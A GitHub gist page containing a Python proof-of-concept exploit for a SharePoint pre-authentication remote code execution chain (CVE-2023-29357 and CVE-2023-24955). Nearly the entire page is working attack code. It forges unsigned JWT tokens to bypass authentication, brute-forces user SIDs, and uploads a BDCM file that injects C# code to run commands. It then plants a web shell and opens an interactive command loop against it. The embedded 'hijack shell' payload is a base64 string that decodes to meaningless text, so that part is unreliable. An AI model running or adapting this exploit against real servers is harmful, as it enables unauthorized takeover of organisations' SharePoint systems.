Skip to content

Instantly share code, notes, and snippets.

@testanull
Created December 15, 2023 07:31
Show Gist options
  • Save testanull/dac6029d306147e6cc8dce9424d09868 to your computer and use it in GitHub Desktop.
Save testanull/dac6029d306147e6cc8dce9424d09868 to your computer and use it in GitHub Desktop.
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC
# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯
if version.startswith("3"):
print("[!!!!] Aborttttt, require python2 to run, current python version is: " + version)
exit(1)
import xml.etree.ElementTree as ET
from urlparse import urlparse
import logging
# logging setup
from logging import handlers
log = logging.getLogger('')
log.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
fh = handlers.RotatingFileHandler("debug.log", maxBytes=(1048576*5), backupCount=7)
fh.setFormatter(format)
log.addHandler(fh)
# i don't know
if len(sys.argv) != 2:
print("Usage: python "+sys.argv[0]+" http://sp2019")
print("It's recommended to use the site name instead of IPs")
exit(1)
SITE_USER = "user2"
USER = ""
# USER = "operator"
# TARGET = "http://splab/"
SID_PREFIX=""
SID=""
TARGET = sys.argv[1]
PROXY = {}
REQUEST_DIGEST = "Nope"
BACKUP_BDCM = ""
CLASS_NAME = "testanull"
EXPLOIT_STATUS = False
HIJACK_SHELL = True
STS_ACCESSIBLE = True
USE_STS = True
SHELL_PATH = "/_vti_bin/DelveApi.ashx/gift_from_starlabs/ghostshell" + str(random.randint(1000,9999)) + ".aspx"
MAL_CODE = """aaab{
class ABCD: System.Web.Services.Protocols.HttpWebClientProtocol{
static ABCD(){
System.Diagnostics.Process.Start("cmd.exe", "/c mspaint.exe");
}
}
}
namespace aabcd"""
while TARGET.endswith("/"):
TARGET = TARGET[:-1]
HOSTNAME = BACKUP_HOSTNAME = TARGET.replace("http://", "").replace("https://", "")
# I know, my code is dirty, but at least it works ¯\_(ツ)_/¯!
def logMsg(msg, printable=False):
log.info(msg)
if printable == True:
print(msg)
# memory web shell
def getMalCode():
global HIJACK_SHELL, CLASS_NAME, MAL_CODE
CLASS_NAME = "x0r"
if HIJACK_SHELL == True:
MAL_CODE = base64.b64decode("aGFja3hvciBidXNmYW1lIGNvbGFiIHRvcCAxIA==").replace("ckxo", CLASS_NAME)
return MAL_CODE
def id_generator(size=6, chars=string.ascii_lowercase + string.ascii_uppercase):
return ''.join(random.choice(chars) for _ in range(size))
def parseNtlmMsg(msg):
def decode_int(byte_string):
return int(byte_string[::-1].encode('hex'), 16)
def decode_string(byte_string):
return byte_string.replace('\x00', '')
target_info_fields = msg[40:48]
target_info_len = decode_int(target_info_fields[0:2])
target_info_offset = decode_int(target_info_fields[4:8])
target_info_bytes = msg[target_info_offset:target_info_offset+target_info_len]
MsvAvEOL = 0x0000
MsvAvNbComputerName = 0x0001
MsvAvNbDomainName = 0x0002
MsvAvDnsComputerName = 0x0003
MsvAvDnsDomainName = 0x0004
target_info = OrderedDict()
info_offset = 0
while info_offset < len(target_info_bytes):
av_id = decode_int(target_info_bytes[info_offset:info_offset+2])
av_len = decode_int(target_info_bytes[info_offset+2:info_offset+4])
av_value = target_info_bytes[info_offset+4:info_offset+4+av_len]
info_offset = info_offset + 4 + av_len
if av_id == MsvAvEOL:
pass
elif av_id == MsvAvNbComputerName:
target_info['MsvAvNbComputerName'] = decode_string(av_value)
elif av_id == MsvAvNbDomainName:
target_info['MsvAvNbDomainName'] = decode_string(av_value)
elif av_id == MsvAvDnsComputerName:
target_info['MsvAvDnsComputerName'] = decode_string(av_value)
elif av_id == MsvAvDnsDomainName:
target_info['MsvAvDnsDomainName'] = decode_string(av_value)
return target_info
def resolveTargetInfo():
burp0_url = TARGET + "/_api/web/"
burp0_headers = { "Authorization": "NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO",
"Host": HOSTNAME}
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False)
if 'WWW-Authenticate' in rq.headers:
_neg_response = rq.headers['WWW-Authenticate']
if 'NTLM' in _neg_response:
msg2 = base64.b64decode(_neg_response.split('NTLM ')[1])
ntlm_resp = parseNtlmMsg(msg2)
return ntlm_resp
else:
logMsg("[-] Target didn't use NTLM Auth, please check!")
exit()
else:
logMsg("[-] Target didn't response to NTLM Auth, please check!")
exit()
def getOAuthInfo():
burp0_url = TARGET + "/_api/web"
burp0_headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh",
"Host": HOSTNAME}
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False)
if 'WWW-Authenticate' in rq.headers:
msg = rq.headers['WWW-Authenticate']
realm = msg.split('realm="')[1].split('"')[0]
client_id = msg.split('client_id="')[1].split('"')[0]
return realm, client_id
else:
logMsg("[-] No auth negotiate message, please check!")
exit()
def genEndpointHash(url):
url = url.lower()
_hash = base64.b64encode(hashlib.sha256(url).digest())
return _hash
def base64UrlEncode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=')
def genProofToken(url, username=""):
if url.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
if SID == "":
if username=="":
username = USER
jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}'
b64_token = base64UrlEncode(jwt_token)
proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
return proof_token
else:
return genTokenSid(url, SID)
def genAppProofToken(url, username=""):
if url.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
if SID == "":
if username=="":
username = USER
jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}'
jwt_token = '{"iss":"00000003-0000-0ff1-ce00-000000000000","aud":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'", "ver":"hashedprooftoken","endpointurl": "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=","endpointurlLength": 1, "isloopback": "true"}'
b64_token = base64UrlEncode(jwt_token)
proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
return proof_token
else:
return genTokenSid(url, SID)
def genTokenSid(url, sid):
global SID_PREFIX
if TARGET.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
jwt_token = '{"iss":"' + CLIENT_ID + '","aud": "' + CLIENT_ID + '/' + HOSTNAME + '@' + REALM + '","nbf":"1673410334","exp":"1725093890","nameid": "' + sid +'", "nii": "urn:office:idp:activedirectory", "appidacr":"0", "isuser":"0", "ver":"hashedprooftoken","endpointurl": "' + genEndpointHash(url)+'","isloopback": "true","appctx":"user_impersonation"}'
b64_token = base64UrlEncode(jwt_token)
return 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
def tryLoginSid(sid):
burp0_url = TARGET + "/_api/web/currentuser"
token = genTokenSid(burp0_url, sid)
burp0_headers = {"Host": HOSTNAME, "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.27.1", "X-PROOF_TOKEN": token, "Authorization": "Bearer "+token}
try:
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY)
if rq.status_code == 200:
logMsg("[+] Found user with sid: " + sid, True)
return sid
else:
return False
except:
return False
def probeUser():
global SID
#try 500
sid = SID_PREFIX + '-500'
sid = tryLoginSid(sid)
if sid != False:
SID = sid
else:
#try 1100
i = 1100
while True:
sid = SID_PREFIX + "-" + str(i)
if tryLoginSid(sid):
SID = sid
break
i = 1000 if i > 1200 else i + 1
if i == 1100:
break
def sendGetReq(url, user=""):
token = genAppProofToken(url, user)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(url, headers=headers, proxies=PROXY, verify=False, allow_redirects=False)
return rq
def sendJsonRequest(url, data):
token = genAppProofToken(url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/json",
"Host": HOSTNAME }
rq = requests.post(url, headers=headers, json=data, proxies=PROXY, verify=False, allow_redirects=False)
return rq
def getCurrentUser():
ct = sendGetReq(TARGET+"/_api/web/currentuser")
if ct.status_code != 200:
logMsg("[-] Failed to get current user", True)
return False
return ct.content
def getSiteAdmin():
rq = sendGetReq(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true")
if rq.status_code != 200:
print("[-] Failed to bypass authentication, abort!!")
print("[-] Status_code is: "+ str(rq.status_code))
print("[-] Page content: "+ rq.content)
exit(1)
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def getSiteAdminFromMySite():
global HOSTNAME
rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\\\LOCAL SERVICE")
# sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\\\LOCAL SERVICE")
if rq.status_code != 200:
if rq.status_code == 401:
#bad site name
HOSTNAME = BACKUP_HOSTNAME
logMsg("[+] Wrong sharepoint site name, trying the original one", True)
rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\\\LOCAL SERVICE")
if rq.status_code != 200:
logMsg("[+] Wrong sharepoint site name, please check again!", True)
return False
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def getSiteAdmin2():
global HOSTNAME
token = genAppProofToken(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true")
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", headers=headers, proxies=PROXY, verify=False, allow_redirects=False)
# sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\\\LOCAL SERVICE")
if rq.status_code != 200:
logMsg("[+] Wrong sharepoint site name, please check again!", True)
return False
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def createBDCMpayload():
global LOBID
burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME}
burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><Model xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\" xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"><LobSystems><LobSystem Name=\"" + LOBID + "\" Type=\"WebService\"><Properties><Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\"><![CDATA[" + getMalCode() + "]]></Property><Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name=\"" + LOBID + "\"></LobSystemInstance></LobSystemInstances><Entities><Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\"><Properties><Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property></Properties><Identifiers><Identifier Name=\"ID\" TypeName=\"System.Int32\" /></Identifiers><Methods><Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\"><Parameters><Parameter Name=\"@ID\" Direction=\"In\"><TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" /></Parameter><Parameter Name=\"@CreateProduct\" Direction=\"Return\"><TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\"><AccessControlList><AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\"><Right BdcRight=\"Execute\" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"
rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY)
return rq
def execCmd(_entityId, _liIdentity):
burp0_url = TARGET + "/_vti_bin/client.svc/ProcessQuery"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME}
burp0_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"" + _entityId + "\" /><Identity Id=\"17\" Name=\"" + _liIdentity + "\" /></ObjectPaths></Request>"
rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY)
if rq.status_code == 200:
return True
else:
return False
def spawnCmd():
try:
while True:
cmd = raw_input("cmd > ").strip()
if cmd.lower() in ['exit', 'quit']:
exit(0)
token = genAppProofToken(TARGET + SHELL_PATH)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME,
"cmd": cmd}
rq = requests.get(TARGET + SHELL_PATH, headers=headers, verify=False, allow_redirects=False, proxies=PROXY)
if rq.status_code == 401:
logMsg("[-] w3wp.exe may crashed and the backdoor is gone, try exploiting again!", True)
exit(0)
print(rq.content)
except:
logMsg("[-] Exception while exec!", True)
print("[!] PoC by Jang (@testanull) from StarLabs 2023")
print("=========")
logMsg("[!] Attacking target: " + TARGET, True)
ntlm_resp = resolveTargetInfo()
HOSTNAME = sharepoint_site = ntlm_resp['MsvAvDnsComputerName'].split(".")[0]
domain = ntlm_resp['MsvAvNbDomainName']
logMsg("[!] Sharepoint site is: "+ sharepoint_site, True)
logMsg("[!] Domain: "+ domain, True)
REALM, CLIENT_ID = getOAuthInfo()
LOBID = id_generator(8)
_currentUser = getCurrentUser()
if _currentUser != False:
_currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0]
if "|" in _currentUser:
_currentUser = _currentUser.split('|')[1]
USER = _currentUser
else:
if STS_ACCESSIBLE == False:
logMsg("[!!] Oh no, STS is not available!")
logMsg("[+] Authentication bypassed!!!", True)
# if _getUserResp != False and 'true</d:IsSiteAdmin>' not in _getUserResp:
# logMsg("[+] Privilege escalating ...", True)
# _siteAdmin = getSiteAdmin()
# logMsg("[+] Found site admin: " + _siteAdmin, True)
# if _siteAdmin != False:
# USER = _siteAdmin.replace("\\", "\\\\")
# SID = ""
_currentUser = getCurrentUser()
if _currentUser != False:
if 'true</d:IsSiteAdmin>' in _currentUser:
logMsg("[+] Successful impersonate Site Admin: " + USER, True)
_currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0]
if "|" in _currentUser:
_currentUser = _currentUser.split('|')[1]
logMsg("[+] Got Oauth Info: " + REALM + "|" + CLIENT_ID)
logMsg("[+] Delivering payload ...", True)
rq = sendGetReq(TARGET + "/_api/web/GetFolderByServerRelativeUrl('/')/Folders")
if rq.status_code == 200 and 'BusinessDataMetadataCatalog' in rq.content:
logMsg("[+] BDCMetadata existed, backuping original data.")
try:
rq = sendGetReq(TARGET + "/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")
BACKUP_BDCM = rq.content
if rq.status_code == 200:
try:
f = open("bdcm.bak", "wb")
f.write(rq.content)
f.close()
except:
logMsg("[-] Failed to backup BDCM content, saving it to memory")
except:
pass
else:
body = {
"ServerRelativeUrl": "/BusinessDataMetadataCatalog/"
}
rq = sendJsonRequest(TARGET + '/_api/web/folders', body)
if rq.status_code == 201:
logMsg("[+] Created BDCM folder")
else:
logMsg("[-] Failed to create BDCM folder")
logMsg("[+] Lob_id: " + LOBID)
_createBDCM = createBDCMpayload()
if _createBDCM.status_code == 200:
logMsg("[+] Success delivered payload", True)
_entityId = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"
_lobSystemInstance = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:" + LOBID + "," + LOBID
exp_rq = execCmd(_entityId, _lobSystemInstance)
if HIJACK_SHELL == True:
token = genAppProofToken(TARGET + SHELL_PATH)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(TARGET + SHELL_PATH, verify=False, headers=headers, allow_redirects=False, proxies=PROXY)
if rq.status_code == 200:
logMsg("[+] Exploit successfully!", True)
EXPLOIT_STATUS = True
else:
logMsg("[+] Can't reach the backdoor, take a manual check!", True)
logMsg("[+] Cleaning up!", True)
burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME
}
try:
rq = requests.post(burp0_url, headers=headers, data=BACKUP_BDCM, verify=False, allow_redirects=False, proxies=PROXY)
except:
logMsg("[-] Failed to restore original data")
if EXPLOIT_STATUS == True:
spawnCmd()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment